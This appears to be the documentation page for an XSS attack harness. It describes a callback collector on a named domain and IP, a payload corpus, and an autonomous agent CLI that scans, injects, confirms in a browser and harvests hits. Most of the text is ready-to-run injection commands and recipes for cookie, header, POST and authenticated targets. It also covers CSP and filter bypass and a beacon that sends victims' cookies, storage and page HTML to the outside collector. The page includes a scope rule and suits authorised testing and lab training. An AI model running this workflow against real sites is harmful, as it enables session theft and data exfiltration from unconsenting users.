What this is

An XSS test harness with three parts: a web callback collector that records every proof of execution, a payload corpus that renders itself with your live callback URL, and an autonomous CLI that scans, injects, and confirms in a real browser.

Domain: https://thisistotallynotforxssinjection.xyz · VM: 45.153.34.74

The collector runs on the VM behind nginx and Cloudflare. It answers on every hostname, so both the domain and the bare IP work. It is not a scanner and it is not a proxy — it is the ground truth that turns "the parameter reflected my markup" into "a browser executed my script and sent the cookie back".

An agent uses it in a fixed loop: find an input that echoes, work out the syntactic position, choose a payload for that position, fire it, load the injected URL in a headless browser to confirm, then read the callback.

Why the pieces exist

Self-check first If anything seems broken, run python tools/xss.py selftest. It exercises reflection → payload → real browser → callback against the lab and tells you which link in the chain failed.

Repository map

PathRole
server.pyCollector + lab + panel. Runs as xss.service under gunicorn. The token API, hits API, GIF/beacon responses and the vulnerable pages all live here.
tools/xss.pyAgent CLI. scan, run, verify, poll, report, selftest.
tools/hunt.pyHTTP layer: request building, per-context encoding, reflection classification, hit polling.
tools/payloads.pyCorpus loader/renderer and the context scorer.
tools/verify.pyHeadless Chromium/Firefox/WebKit confirmation of execution.
payloads/payloads.jsonThe corpus. Add payloads here; no code change needed.
deploy/ · deploy.pynginx template, installer, and the push script that runs both.
data/workspace.jsonActive token + callback base. Written by token/use, read by everything else.
docs/index.htmlThis document.

Workspaces & tokens

Every engagement gets its own token. The token is in the URL path of the callback and scopes both the hits and the read API, so two targets never mix results.

# create a workspace on the collector (writes data/workspace.json)
python tools/xss.py token --name "acme-corp" --api https://thisistotallynotforxssinjection.xyz

# or point at an existing one
python tools/xss.py use https://thisistotallynotforxssinjection.xyz/c/<token>/

python tools/xss.py status

A token is a capability, not a secret with rights. Anyone holding a callback URL can write hits to it; only the token holder can read them back. Revoke with python3 server.py revoke <token> on the VM, which drops the token and its hits.

One token per engagement Reusing a token across targets makes attribution guesswork. Revoke when the engagement ends.

The 6-step loop

Do them in order. Steps 1–2 are read-only and cheap; skipping them is the most common cause of a wasted spray.

#StepGoalCommand
1ReconWhich parameters reach the response at all?scan
2ReadWhat syntactic position does the echo land in?scan output + reading the page
3PickChoose payloads for that exact positionpayloads --context
4FireInject and watch for a callbackrun
5VerifyConfirm a browser really executed itverify
6HarvestRead the proof, export, reportpoll, report

1 · Recon

scan sends a literal canary to each parameter and classifies what comes back as verbatim, encoded or absent. It also guesses the context from the surrounding markup.

python tools/xss.py scan "https://target.example/search?q=hi&page=2" --discover

Exit code 0 = at least one parameter reflects, 2 = nothing reflects. Use --discover on pages without query parameters to pull candidate names from forms and links.

Reading the result reflected: verbatim → the value lands in the document untouched. encoded → entities present, so send pre-encoded markup. absent → not reflected server-side; it may still reach a DOM sink, so check location.hash and JS sinks by hand.

Parameters that never reflect are not dead ends. Test them against DOM sinks: append the payload as a URL fragment (#...) and watch for a callback. verify will also catch a sink that fires.

2 · Read the context

Context decides which payload can work. Get this from the snippet field of the scan finding, or by fetching the page and looking at the raw source around the echo.

finding.snippet: ... <input value="canary" autocomplete=off> ...   → attr-dq
finding.snippet: ... var v='canary'; 

If the snippet is thin, fetch the URL yourself and search for the echo. Never spray across unknown contexts — you get noise, not information.

3 · Pick a payload

python tools/xss.py payloads --context attr-dq
python tools/xss.py show attr-001        # render it with the real callback URL

Corpus categories: recon, execution, attribute, javascript, dom, markdown, bypass, exfil, csp. Start with the simplest payload that fits; escalate only when it dies.

For a fast pass use --spray, which walks a curated short list for the context and stops at the first callback.

4 · Fire

# sprayed attempt, automatic encoding per context
python tools/xss.py run --url "https://target.example/search" --param q \
    --context attr-dq --spray --label "search-q"

# single targeted payload
python tools/xss.py run --url "https://target.example/search" --param q \
    --payload-id attr-001 --label "search-q-attr001"

Verdicts: FIRE (callback recorded), REFLECTED (markup survived, no callback yet — usually needs a browser), DEAD (stripped). Only FIRE and REFLECTED are interesting.

Other injection points:

PointFlag
POST form field--method POST
JSON body field--method JSON
Cookie value--method COOKIE --param session
Header (Referer, X-Forwarded-Host…)--method HEADER --header Referer
Fixed companion params--extra csrf=abc --extra lang=en
Authenticated session--cookie "sid=abc123"

5 · Verify

run only proves the server echoed markup. verify loads the injected URL in a real engine and reports whether script ran — via an in-page marker, a dialog, or a callback.

python tools/xss.py verify --url "<injected_url from run>"

Verdict EXECUTED (exit 0) or NOT_EXECUTED (exit 3). The result includes the DOM and any dialog text.

REFLECTED is not a finding A payload visible in the source proves reflection only. Report execution after verify returns EXECUTED with a matching callback, or after a human confirms it in a browser.

For a sink that only fires on interaction, inject a handler and note the trigger:

# fires on hover — verify the DOM, tell the operator to hover
python tools/xss.py run --url "https://target.example/p" --param q --payload-id attr-002

6 · Harvest

python tools/xss.py poll --since 0 --label "search-q"
python tools/xss.py watch --duration 120
python tools/xss.py report --write out/acme.md

A hit carries timestamp, label, IP, path, query or body, referrer, cookie header and user agent. report renders markdown; share mints a read-only public link; GET /api/export?token=… returns a zip of JSON + CSV.

CLI reference

CommandDoes
token --name N --api URLCreate a workspace, store it locally.
use URLPoint at an existing callback base.
statusConfig, collector reachability, hit count.
scan URL [--discover]Find reflecting parameters.
payloads [--context] [--category] [--grep]Browse the corpus.
show IDRender one payload + URL-encoded form.
run --url --param [--context] [--spray]Inject and wait for a callback.
verify --url [--engine]Confirm execution in a browser.
poll [--since] [--label]Read callbacks.
watch [--duration]Stream callbacks as NDJSON.
report [--write]Markdown summary.
share [--note]Read-only public result page.
clearDelete hits for the workspace.
fixate --cookie "a=b"Build a document.cookie snippet.
postmsg --page --payloadDeliver a postMessage to every frame.
selftestEnd-to-end check against the lab.

Exit codes: 0 success · 1 usage/config · 2 no reflection · 3 no execution · 4 transport. Every command prints JSON.

HTTP / API reference

Base: https://thisistotallynotforxssinjection.xyz

EndpointMethodNotes
/c/<token>/<label>GET POSTThe collector. Returns a 1×1 GIF by default, JS when the label ends in .js, plain ok for .txt. CORS *. Accepts anything after the token.
/beacon.jsGETRecon beacon: posts URL, cookies, storage, page HTML as JSON.
/api/tokenPOST{"name":"..."} → token + callback + panel.
/api/hitsGET?token&since&limit&label → hits, maxId cursor. Newest first.
/api/hits/<id>GETOne hit.
/api/clearPOSTDelete workspace hits.
/api/sharePOSTPublic read-only link.
/api/exportGETZip of JSON + CSV + metadata.
/w/<token> · /w/<token>/rawGETHTML panel (3 s refresh) · NDJSON.
/s/<slug>GETPublic result page.
/healthzGETLiveness + total hits.

The collector answers 200 even for an unknown token, so a broken payload link never looks like an error. Only the read endpoints 404 on a bad token.

Context table

Context ids are what --context accepts and what scan guesses.

ContextEcho lands inFirst payload
htmlPage body, unescapedbase-002
attr-dqInside value="…"attr-001
attr-sqInside value='…'attr-002
attr-bareBare attribute valueattr-003
hrefhref / src / actionattr-005
js-string-sqSingle-quoted JS stringjs-001
js-string-dqDouble-quoted JS stringjs-002
js-templateTemplate literaljs-004
json-in-scriptapplication/json blockjs-005
dom-htmlinnerHTML / html()dom-001
dom-jseval / Functiondom-003
dom-urllocation assignmentdom-004
postmessagemessage handler → sinkdom-006
markdownMarkdown renderermd-001
innerHTML does not run <script> For dom-html always use an event handler (<img onerror>, <svg onload>). Script tags only survive in html and dom-js contexts, and in document.write sinks.

Payload corpus

Placeholders are substituted at render time:

TokenBecomes
{{CB}}Callback base, e.g. https://host/c/<token>/
{{CBQ}}URL-encoded callback base
{{COOKIE}}document.cookie
{{NONCE}}Random hex tag for correlation

Categories: recon (base-001 only — always run it first), execution, attribute, javascript, dom, markdown, bypass, exfil, csp. Every entry records the context it was written for, its expected result, and why it works — read notes before assuming a payload fits.

To extend it, add an object to payloads/payloads.json with id, name, category, context, encoding, payload, expect, notes. No code change needed; xss.py payloads picks it up immediately.

Encodings: none, url, url-strict, double-url, html, html-entities, json.

Training lab

Twelve deliberately broken pages on the collector host, one per context. Reach them at /lab.

PageWeakness
/lab/reflectRaw HTML reflection
/lab/attrDouble-quoted attribute
/lab/jsJS string literal
/lab/dominnerHTML from location.hash
/lab/sink-evaleval from location.hash
/lab/filteredNaive blacklist
/lab/cspNonce CSP without unsafe-inline
/lab/jsonJSON in a script block
/lab/svgSVG context
/lab/markdownNaive markdown renderer
/lab/redirectOpen redirect
/lab/postmsgpostMessage → innerHTML
python tools/xss.py scan "https://thisistotallynotforxssinjection.xyz/lab/reflect?q=hi" --discover
python tools/xss.py run  --url "https://thisistotallynotforxssinjection.xyz/lab/reflect" --param q --spray
python tools/xss.py verify --url "<injected_url>"
python tools/xss.py selftest

Read the lab source (server.py, section lab pages) to see exactly what each filter does before trying to beat it.

Worked recipes

A · Reflected in an attribute on an authenticated page

python tools/xss.py scan "https://target/p?q=x" --cookie "sid=ABC"
python tools/xss.py run  --url "https://target/p" --param q --context attr-dq \
    --cookie "sid=ABC" --spray --label "p-q"
python tools/xss.py verify --url "<injected_url>"

B · POST search field

python tools/xss.py run --url "https://target/search" --param term --method POST \
    --context html --spray --label "search-term"

C · Cookie reflected back into the page

# the payload rides in a header, so bytes must be URL-safe — use an entity-encoded payload
python tools/xss.py run --url "https://target/" --param "lang" --method COOKIE \
    --context attr-dq --payload-id attr-001 --encoding url --spray

D · 500 error page

python tools/xss.py run --url "https://target/" --method HEADER \
    --header "X-Forwarded-Host" --param X-Forwarded-Host \
    --context html --payload-id base-003

E · JSON endpoint

python tools/xss.py run --url "https://target/api/search" --param q \
    --method JSON --context json-in-script --payload-id js-005

Filter & CSP bypass

When the direct payload dies, change one variable at a time and watch the reflection:

CSP. With a nonce policy, find a tag that echoes the nonce, or load an allowlisted external script (csp-002 → /beacon.js). With strict-dynamic, a nonce'd script can inject more scripts. When script is impossible, fall back to dangling markup (csp-001) to leak the HTML after the injection point.

Exfiltration

The default beacon sends cookies. Widen it when the finding is worth escalating:

Exfiltration is limited by HttpOnly: the cookie header at the collector shows only script-reachable cookies. Document that, and note that pre-existing document.cookie may already be non-empty.

Troubleshooting

SymptomCause / fix
scan reports everything absentServer-side rendering may not reflect; test #fragment sinks, or POST/JSON points. A WAF may also strip the canary.
run says REFLECTED, no callbackNo browser visited the URL. Run verify. If the handler needs a hover/click, say so in the report.
verify says NOT_EXECUTEDMarkup correct but inert: wrong context, filtered handler, CSP, or <script> used in an innerHTML sink.
Payload appears HTML-escapedTarget entity-encodes. Either the parameter is escaped (find a different one) or you need a sink that decodes (dom-js, dom-url).
Callbacks land from an unexpected IPCloudflare is in front of the collector; the hit IP is the real client, restored from CF-Connecting-IP.
run exits 4Transport failure: TLS, proxy, DNS, timeout. Confirm the URL opens in a browser first.
POST /api/token returns 522Cloudflare cannot reach the origin. Check systemctl status xss nginx on the VM.
Mixed-content console error on an https targetCallback built over http://. Confirm X-Forwarded-Proto reaches the app and ProxyFix is loaded.
Lab page looks unstyled / hint text leaksEscaping bug in lab_page; hints are escaped, payloads are not.

Operator commands on the VM:

systemctl status xss nginx
journalctl -u xss -n 80 --no-pager
python3 /opt/xss/server.py token --name "x"
python3 /opt/xss/server.py list
python3 /opt/xss/server.py revoke <token>
nginx -t && systemctl reload nginx

Redeploy after editing the local tree:

python deploy.py

Rules for agents

  1. Canary first. Never send markup before base-001 or scan confirms the echo.
  2. Name the context. If you cannot state the context, you are guessing — go read the source.
  3. One change at a time. A payload that changes case, handler, tag and encoding at once teaches nothing when it fails.
  4. REFLECTED ≠ finding. Report execution only after verify says EXECUTED or a callback lands.
  5. Label everything. Every attempt gets a label naming the parameter, so the report writes itself.
  6. Note the trigger. Click, hover, autofocus, load — record what makes it fire.
  7. Quote the proof. Save the injected URL and the raw hit next to the finding.
  8. Fresh token per engagement. Revoke when done.
  9. Mind scope. Only inject hosts the operator authorised; match the scheme, follow redirects, keep sessions in --cookie.
  10. Say what failed. A dead parameter and its filter behaviour is a real result.
Do not misreport If the payload only reflects, report exactly "reflected, execution unconfirmed". Over-stating a finding costs more credibility than a dead end.